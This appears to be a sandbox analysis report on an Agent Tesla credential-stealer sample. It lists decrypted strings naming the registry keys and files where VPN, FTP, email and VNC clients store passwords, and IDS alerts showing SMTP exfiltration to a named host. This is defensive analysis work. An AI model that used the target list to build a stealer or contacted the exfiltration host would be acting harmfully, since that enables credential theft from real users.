Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\OpenVPN-GUI\configs
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\OpenVPN-GUI\configs
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\OpenVPN-GUI\configs\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: username
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: auth-data
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: entropy
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: USERPROFILE
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \OpenVPN\config\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: remote
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: remote
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: NordVPN
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: NordVPN
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: NordVpn.exe*
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: user.config
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: //setting[@name='Username']/value
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: //setting[@name='Password']/value
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: NordVPN
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Private Internet Access
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: %ProgramW6432%
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Private Internet Access\data
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ProgramFiles(x86)
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Private Internet Access\data
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \account.json
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ."username":"(.?)"
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ."password":"(.?)"
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Private Internet Access
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: privateinternetaccess.com
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: FileZilla
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \FileZilla\recentservers.xml
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \FileZilla\recentservers.xml
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <Server>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <Host>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <Host>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </Host>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <Port>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </Port>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <User>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <User>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </User>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <Pass encoding="base64">
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <Pass encoding="base64">
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </Pass>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <Pass>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <Pass encoding="base64">
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </Pass>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: CoreFTP
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SOFTWARE\FTPWare\COREFTP\Sites
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: User
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Host
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Port
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: hdfzpysvpzimorhk
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: WinSCP
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: HostName
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: UserName
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: PublicKeyFile
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: PortNumber
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: [PRIVATE KEY LOCATION: "{0}"]
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: WinSCP
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ABCDEF
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Flash FXP
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: port
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: user
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: pass
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: quick.dat
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Sites.dat
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \FlashFXP\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \FlashFXP\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: yA36zA48dEhfrvghGRg57h5UlDv3
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: FTP Navigator
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SystemDrive
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \FTP Navigator\Ftplist.txt
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Server
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: No Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: User
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SmartFTP
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SmartFTP\Client 2.0\Favorites\Quick Connect
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: WS_FTP
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: appdata
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Ipswitch\WS_FTP\Sites\ws_ftp.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: HOST
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: PWD=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: PWD=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: FtpCommander
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SystemDrive
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SystemDrive
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Program Files (x86)\FTP Commander\Ftplist.txt
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SystemDrive
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \cftp\Ftplist.txt
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files (x86)\FTP Commander\Ftplist.txt
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ;Password=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ;User=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ;Server=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ;Port=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ;Port=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ;Password=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ;User=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ;Anonymous=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: FTPGetter
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \FTPGetter\servers.xml
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <server>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <server_ip>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <server_ip>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </server_ip>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <server_port>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </server_port>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <server_user_name>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <server_user_name>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </server_user_name>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <server_user_password>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: <server_user_password>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: </server_user_password>
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: FTPGetter
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: The Bat!
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: appdata
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \The Bat!
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Account.CFN
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Account.CFN
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: +-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Becky!
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: HKEY_CURRENT_USER\Software\RimArts\B2\Settings
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: DataDir
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Folder.lst
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Mailbox.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Account
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: PassWd
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Account
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SMTPServer
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Account
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: MailAddress
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Becky!
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Outlook
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Email
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: IMAP Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: POP3 Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: HTTP Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SMTP Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Email
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Email
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Email
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: IMAP Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: POP3 Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: HTTP Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SMTP Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Server
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Windows Mail App
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: COMPlus_legacyCorruptedStateExceptionsPolicy
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\Microsoft\ActiveSync\Partners
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Email
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Server
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SchemaId
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: pResourceElement
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: pIdentityElement
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: pPackageSid
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: pAuthenticatorElement
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: syncpassword
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: mailoutgoing
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: FoxMail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Executable
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: FoxmailPath
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Storage\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Storage\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \mail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \mail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files\Foxmail\mail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files\Foxmail\mail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files (x86)\Foxmail\mail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files (x86)\Foxmail\mail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Accounts\Account.rec0
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Accounts\Account.rec0
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Account.stg
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Account.stg
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: POP3Host
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SMTPHost
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: IncomingServer
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Account
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: MailAddress
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: POP3Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Opera Mail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Opera Mail\Opera Mail\wand.dat
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Opera Mail\Opera Mail\wand.dat
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: opera:
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz1234567890_-.~!@#$%^&*()[{]}\\|';:,<>/?+=
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: PocoMail
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: appdata
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Pocomail\accounts.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Email
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: POPPass
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SMTPPass
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SMTP
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: eM Client
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: eM Client\accounts.dat
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: eM Client
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Accounts
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: "Username":"
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: "Secret":"
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: 72905C47-F4FD-4CF7-A489-4E8121A155BD
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: "ProviderName":"
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: o6806642kbM7c5
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Mailbird
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SenderIdentities
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Accounts
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \Mailbird\Store\Store.db
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Server_Host
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Accounts
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Email
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Username
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: EncryptedPassword
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Mailbird
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: RealVNC 4.x
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SOFTWARE\Wow6432Node\RealVNC\WinVNC4
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: RealVNC 3.x
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SOFTWARE\RealVNC\vncserver
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: RealVNC 4.x
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: SOFTWARE\RealVNC\WinVNC4
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: RealVNC 3.x
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\ORL\WinVNC3
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: TightVNC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\TightVNC\Server
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: TightVNC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\TightVNC\Server
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: PasswordViewOnly
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: TightVNC ControlPassword
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\TightVNC\Server
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ControlPassword
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: TigerVNC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\TigerVNC\Server
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Password
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ProgramFiles(x86)
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: passwd
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ProgramFiles(x86)
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: passwd2
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ProgramFiles
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: passwd
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ProgramFiles
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: passwd2
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ProgramFiles
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: passwd
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ProgramFiles
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: passwd2
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ProgramFiles(x86)
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: passwd
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: ProgramFiles(x86)
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: passwd2
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: JDownloader 2.0
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: JDownloader 2.0\cfg
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: org.jdownloader.settings.AccountSettings.accounts.ejs
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: JDownloader 2.0\cfg
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: jd.controlling.authentication.AuthenticationControllerSettings.list.ejs
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Paltalk
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: Software\A.V.M.\Paltalk NG\common_settings\core\users\creds\
Source: 5.2.ORDER#023_2024.exe.400000.0.unpack	String decryptor: nickname

Source: ORDER#023_2024.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ORDER#023_2024.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 4x nop then jmp 06F58DEFh	0_2_06F583B4
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 4x nop then jmp 06F58DEFh	0_2_06F586B6
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 4x nop then jmp 06F58DEFh	0_2_06F584EE
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 4x nop then jmp 06F58DEFh	0_2_06F58579

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855245 - Severity 1 - ETPRO MALWARE Agent Tesla Exfil via SMTP : 192.168.2.4:49734 -> 199.79.62.115:587
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.4:49734 -> 199.79.62.115:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.4:49734 -> 199.79.62.115:587
Source: Network traffic	Suricata IDS: 2839723 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla SMTP Activity : 192.168.2.4:49734 -> 199.79.62.115:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.4:49734 -> 199.79.62.115:587

Source: global traffic

TCP traffic: 192.168.2.4:49734 -> 199.79.62.115:587

Source: Joe Sandbox View

IP Address: 199.79.62.115 199.79.62.115

Source: global traffic

TCP traffic: 192.168.2.4:49734 -> 199.79.62.115:587

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: mail.mbarieservicesltd.com

Source: ORDER#023_2024.exe	String found in binary or memory: http://localhost/arkanoid_server/requests.php
Source: ORDER#023_2024.exe, 00000005.00000002.2905038066.000000000305A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.mbarieservicesltd.com
Source: ORDER#023_2024.exe, 00000000.00000002.1679554005.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
